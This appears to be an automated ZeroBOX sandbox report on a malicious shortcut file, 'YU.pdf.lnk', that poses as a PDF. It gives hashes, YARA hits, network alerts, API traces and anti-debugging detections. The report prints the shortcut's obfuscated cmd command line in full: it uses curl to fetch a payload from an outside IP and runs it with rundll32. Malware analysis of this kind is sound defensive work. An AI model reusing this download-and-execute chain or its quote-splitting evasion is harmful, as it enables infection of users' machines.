Summary | ZeroBOX

YU.pdf.lnk

Generic Malware AntiVM Lnk Format AntiDebug GIF Format
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 27, 2023, 9:32 a.m. Sept. 27, 2023, 9:34 a.m.
Size 2.1KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Oct 6 04:51:36 2021, mtime=Tue Sep 26 02:11:54 2023, atime=Wed Oct 6 04:51:36 2021, length=289792, window=hidenormalshowminimized
MD5 f3f9452aa325321a4b90e7fed0bd97ae
SHA256 be78c3d115d13d2700b6bfc8e7f803d2efb2f93b81f6059299a4536d4f9d19f7
CRC32 67EEBE6F
ssdeep 24:8abWJCnBc2LA8v6V+/UkHpt4aUHkbxI4cRi85Rm:8ahi06bkHp5UHkbxf
Yara
  • Lnk_Format_Zero - LNK Format
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Generic_Malware_Zero - Generic Malware

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch
95.164.17.59 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49166 -> 95.164.17.59:80 2013028 ET POLICY curl User-Agent Outbound Attempted Information Leak
TCP 192.168.56.101:49166 -> 95.164.17.59:80 2034567 ET HUNTING curl User-Agent to Dotted Quad Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: '4fuD' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: 4fuD
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'E"x"iT' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleA

buffer: Ping request could not find host 4fuD. Please check the name and try again.
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: Ping request could not find host 4fuD. Please check the name and try again.
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x75aad08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x75aa964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x75a94d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x75a96f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x75a9e825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x75a96002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x75a95fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x75a949e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x75a95a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x76f49a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x76f68f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x76f68e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x755c7a25
rundll32+0x135c @ 0xb1135c
rundll32+0x1901 @ 0xb11901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x75ac3ef4
registers.esp: 3012180
registers.edi: 0
registers.eax: 3771056
registers.ebp: 3012208
registers.edx: 1
registers.ebx: 0
registers.esi: 7524024
registers.ecx: 1924347356
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://95.164.17.59/ZIbr7/9G
request GET http://95.164.17.59/ZIbr7/9G
file C:\Users\test22\AppData\Local\Temp\YU.pdf.lnk
cmdline "C:\Windows\System32\cmd.exe" /c 4fuD || ECho 4fuD & pi"NG" 4fuD || cu"Rl" http:"//95".16"4".17.5"9"/"ZI"b"r"7/9"G" -o C:\Users\test22\AppData\Local\Temp\4fuD.log & pi"NG" -n 3 4fuD || rundll32 C:\Users\test22\AppData\Local\Temp\4fuD.log scab /k besogon728 & E"x"iT 'hQWRJnkvgMlD
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 95.164.17.59
Process injection Process 2644 resumed a thread in remote process 2752
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2752
1 0 0